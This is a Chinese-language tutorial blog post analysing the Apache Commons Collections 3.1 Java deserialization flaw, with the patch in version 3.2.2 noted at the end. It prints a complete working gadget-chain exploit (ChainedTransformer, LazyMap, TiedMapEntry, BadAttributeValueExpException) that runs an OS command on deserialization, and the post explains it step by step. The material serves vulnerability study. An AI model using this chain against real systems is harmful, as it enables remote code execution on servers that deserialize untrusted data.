Java反序列化之Apache Commons Collections

零、前言

学习Java代码审计,这是反序列化部分的第一篇,由于Java语言的特性的,感觉整体要比之前学的Python或者PHP更难一些。

一、漏洞简介

Apache Commons Collections的漏洞最初在2015年11月6日由FoxGlove Security安全团队的@breenmachine 在一篇长博客上阐述,危害面覆盖了大部分的Web中间件,影响十分深远。

二、环境搭建

操作系统:Windows10

编辑器:IDEA

漏洞jar包:commons-collections.jar 3.1

注:使用Maven可方便管理jar包版本和依赖关系,本教程pom.xml文件为

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>Serialize</groupId>
    <artifactId>1</artifactId>
    <version>1.0-SNAPSHOT</version>

    <dependencies>
        <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.1</version>
        </dependency>
    </dependencies>
</project>

三、漏洞复现

四、漏洞分析

在apache.commons.collections.functors中,有一个InvokerTransformer类,它继承了Transformer和Serializable接口,在类中有一个成员函数transform,它通过反射技术可以调用任意类的任意方法。

public Object transform(Object input) {
    if (input == null) {
        return null;
    } else {
        try {
            Class cls = input.getClass();
            Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
            return method.invoke(input, this.iArgs);
        } catch (NoSuchMethodException var5) {
            throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
        } catch (IllegalAccessException var6) {
            throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
        } catch (InvocationTargetException var7) {
            throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
        }
    }
}

因此实现反序列化执行命令的目标中,它是一个重要的函数,我们要想办法去调用它。比如我们利用Runtime.getRuntime().exec(cmd)去执行命令就可以这样调用

package test;

import org.apache.commons.collections.functors.InvokerTransformer;

public class test {
    public static void main(String[] args){
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{ String.class}, new Object[] {"calc.exe"});
        invokerTransformer.transform(Runtime.getRuntime());
    }
}

我们知道在进行反序列操作的时候一般只需要执行readObject函数即可,如果直接序列化上面的invokerTransformer对象,那么在readObject之后还需要主动调用transform(Runtime.getRuntime()),也就是下面这样,这显然是不实际的。

package test;

import org.apache.commons.collections.functors.InvokerTransformer;

import java.io.*;

public class test {
    public static void main(String[] args){
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{ String.class}, new Object[] {"calc.exe"});
        serialize(invokerTransformer);
        unserialize();
    }

    public static void serialize(InvokerTransformer obj){
        try {
            ObjectOutputStream os = new ObjectOutputStream(new FileOutputStream("test.ser"));
            os.writeObject(obj);
            os.close();
        }catch (Exception e){
            e.printStackTrace();
        }
    }
    public static void unserialize(){
        try {
            ObjectInputStream is = new ObjectInputStream(new FileInputStream("test.ser"));
            InvokerTransformer obj = (InvokerTransformer) is.readObject();
            obj.transform(Runtime.getRuntime());
        }catch (Exception e){
            e.printStackTrace();
        }
    }
}

因此,Runtime.getRuntime()的调用我们也要通过反射来进行,InvokerTransformer中的transform函数一次只能进行一次反射,这里我们就需要构造一个反射链,最终调用到exec()函数。在apache.commons.collections.functors中有一个实现类似功能的类ChainedTransformer,它的transform()函数如下:

public Object transform(Object object) {
    for(int i = 0; i < this.iTransformers.length; ++i) {
        object = this.iTransformers[i].transform(object);
    }

this.iTransformers[i]就是InvokerTransformer对象,通过循环调用transform函数,就可以执行到最终的想要调用的函数。

package test;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;

public class test {
    public static void main(String[] args){
        Transformer[] transformers = new Transformer[] {
                //传入Runtime类
                new ConstantTransformer(Runtime.class),
                //反射调用getMethod方法,然后getMethod方法再反射调用getRuntime方法,返回Runtime.getRuntime()方法
                new InvokerTransformer("getMethod",
                        new Class[] {String.class, Class[].class },
                        new Object[] {"getRuntime", new Class[0] }),
                //反射调用invoke方法,然后反射执行Runtime.getRuntime()方法,返回Runtime实例化对象
                new InvokerTransformer("invoke",
                        new Class[] {Object.class, Object[].class },
                        new Object[] {null, new Object[0] }),
                //反射调用exec方法
                new InvokerTransformer("exec",
                        new Class[] {String.class },
                        new Object[] {"calc.exe"})
        };
        Transformer transformerChain = new ChainedTransformer(transformers);
        serialize(transformerChain);
        unserialize();

    }
    public static void serialize(Transformer obj){
        try {
            ObjectOutputStream os = new ObjectOutputStream(new FileOutputStream("test.ser"));
            os.writeObject(obj);
            os.close();
        }catch (Exception e){
            e.printStackTrace();
        }
    }
    public static void unserialize(){
        try {
            ObjectInputStream is = new ObjectInputStream(new FileInputStream("test.ser"));
            ChainedTransformer obj = (ChainedTransformer) is.readObject();
            obj.transform("");
        }catch (Exception e){
            e.printStackTrace();
        }
    }
}

main函数中那几个反射的顺序是这样的,首先传入Runtime类(直接调用.class属性),然后通过反射调用getMethod方法(这个方法每个类都可以调用),getMethod方法的参数就是getRuntime,也就是说到这一步就取得getRuntime函数,然后通过反射调用invoke方法真正的执行getRuntime函数并返回Runtime实例,最后再反射调用Runtime实例的exec函数,传入要执行的命令即可实现命令执行。注意第一个类是ConstantTransformer,这是自带的一个类,它的transform是这样的

public Object transform(Object input) {
    return this.iConstant;
}

其中this.iConstant就是实例化时的参数,在这里就是Runtime.class,所以这样的话在unserialize函数中我们的transform可以传入任意的对象(本示例代码是空字符串对象),即可造成反序列化的命令执行。但是在实际的漏洞环境中这样的仍然是难以利用的,我们希望的是仅仅使用readObject函数就触发漏洞,因此我们需要寻找看看在哪里有被重写的readObject函数,而其中的某些流程又能够自动触发transform函数。这里我们可以全局搜索transform函数或者搜索readObject函数,但是一般都不会存在直接调用的情况,需要结合其他流程,很考验对java的理解和跳跃的思维。在LazyMap(这是一个Map)中存在get方法调用了transform函数

public Object get(Object key) {
    // create value for key if key is not currently in the map
    if (map.containsKey(key) == false) {
        Object value = factory.transform(key);
        map.put(key, value);
        return value;
    }
    return map.get(key);
}

在TiedMapEntry类中,调用map类的get方法,有被同文件的toString函数调用

public Object getValue() {
    return map.get(key);
}
... ...
public String toString() {
    return getKey() + "=" + getValue();
}

而在BadAttributeValueExpException类中重写了readObject方法

public class BadAttributeValueExpException extends Exception   {


    /* Serial version */
    private static final long serialVersionUID = -3105272988410493376L;

    /**
     * @serial A string representation of the attribute that originated this exception.
     * for example, the string value can be the return of {@code attribute.toString()}
     */
    private Object val;

    /**
     * Constructs a BadAttributeValueExpException using the specified Object to
     * create the toString() value.
     *
     * @param val the inappropriate value.
     */
    public BadAttributeValueExpException (Object val) {
        this.val = val == null ? null : val.toString();
    }


    /**
     * Returns the string representing the object.
     */
    public String toString()  {
        return "BadAttributeValueException: " + val;
    }

    private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
        ObjectInputStream.GetField gf = ois.readFields();
        Object valObj = gf.get("val", null);

        if (valObj == null) {
            val = null;
        } else if (valObj instanceof String) {
            val= valObj;
        } else if (System.getSecurityManager() == null
                || valObj instanceof Long
                || valObj instanceof Integer
                || valObj instanceof Float
                || valObj instanceof Double
                || valObj instanceof Byte
                || valObj instanceof Short
                || valObj instanceof Boolean) {
            val = valObj.toString();
        } else { // the serialized object is from a version without JDK-8019292 fix
            val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
        }
    }
 }

其中valObj对象在从输入流获取后执行了toString()方法,因此我们有以下思路

  1. 构造transformerChain
  2. 声明一个LazyMap,它的get方法会调用transform方法
  3. 以上一步声明的LazyMap对象为参数,声明一个TiremapEntry,它的toString方法会调用getValue方法,getValue方法会调用LazyMap的get方法
  4. 以上一步声明的TiremapEntry对象为参数,声明一个BadAttributeValueExpException对象,它反序列化时会调用TiremapEntry的toString方法

所以完整的代码为

package test;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class test {
    public static void main(String[] args)throws Exception{
        Transformer[] transformers = new Transformer[] {
                //传入Runtime类
                new ConstantTransformer(Runtime.class),
                //反射调用getMethod方法,然后getMethod方法再反射调用getRuntime方法,返回Runtime.getRuntime()方法
                new InvokerTransformer("getMethod",
                        new Class[] {String.class, Class[].class },
                        new Object[] {"getRuntime", new Class[0] }),
                //反射调用invoke方法,然后反射执行Runtime.getRuntime()方法,返回Runtime实例化对象
                new InvokerTransformer("invoke",
                        new Class[] {Object.class, Object[].class },
                        new Object[] {null, new Object[0] }),
                //反射调用exec方法
                new InvokerTransformer("exec",
                        new Class[] {String.class },
                        new Object[] {"calc.exe"})
        };
        // 构造transformerChain
        Transformer transformerChain = new ChainedTransformer(transformers);
        // 声明lazyMap以调用transform方法
        Map innerMap = new HashMap();
        Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
        // 声明tiedMapEntry以调用get方法
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "foo");
        // 声明badAttributeValueExpException以调用toString方法
        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
        Field valfield = badAttributeValueExpException.getClass().getDeclaredField("val");
        valfield.setAccessible(true);
        valfield.set(badAttributeValueExpException, tiedMapEntry);
        // 序列化存储
        serialize(badAttributeValueExpException);
        // 反序列化命令执行
        deserialize();

    }
    public static void serialize(BadAttributeValueExpException obj){
        try {
            ObjectOutputStream os = new ObjectOutputStream(new FileOutputStream("test.ser"));
            os.writeObject(obj);
            os.close();
        }catch (Exception e){
            e.printStackTrace();
        }
    }
    public static void deserialize(){
        try {
            ObjectInputStream is = new ObjectInputStream(new FileInputStream("test.ser"));
            is.readObject();
        }catch (Exception e){
            e.printStackTrace();
        }
    }
}

注:这个包里面有各种transform方法,本质就是一些工具函数,对数据做变换。

在这里说一点,为什么我们用以下四行反射的方式构造badAttributeValueExpException对象

BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null); 
Field valfield = badAttributeValueExpException.getClass().getDeclaredField("val"); 
valfield.setAccessible(true); 
valfield.set(badAttributeValueExpException, tiedMapEntry);

而不是直接声明的呢

BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(tiedMapEntry);

要知道BadAttributeValueExpException的构造函数就是给val遍变量赋值

public BadAttributeValueExpException (Object val) {
    this.val = val == null ? null : val.toString();
}

但是仔细看这个构造函数,当val不为空的时候,是将val.toString()赋值给this.val,因此这样直接声明的话会直接通过toString()触发命令执行。但是在真正反序列化的时候,由于val变成了String类型,就会造成漏洞无法触发。

五、补丁分析

Apache Commons Collections在3.2.2版本中做了一定的安全处理,对这些不安全的Java类的序列化支持增加了开关,默认为关闭状态。涉及的类包括CloneTransformer,ForClosure, InstantiateFactory, InstantiateTransformer, InvokerTransformer, PrototypeCloneFactory,PrototypeSerializationFactory, WhileClosure。

六、参考文献

https://xz.aliyun.com/t/136

https://p0sec.net/index.php/archives/121/

发表回复

您的电子邮箱地址不会被公开。 必填项已用*标注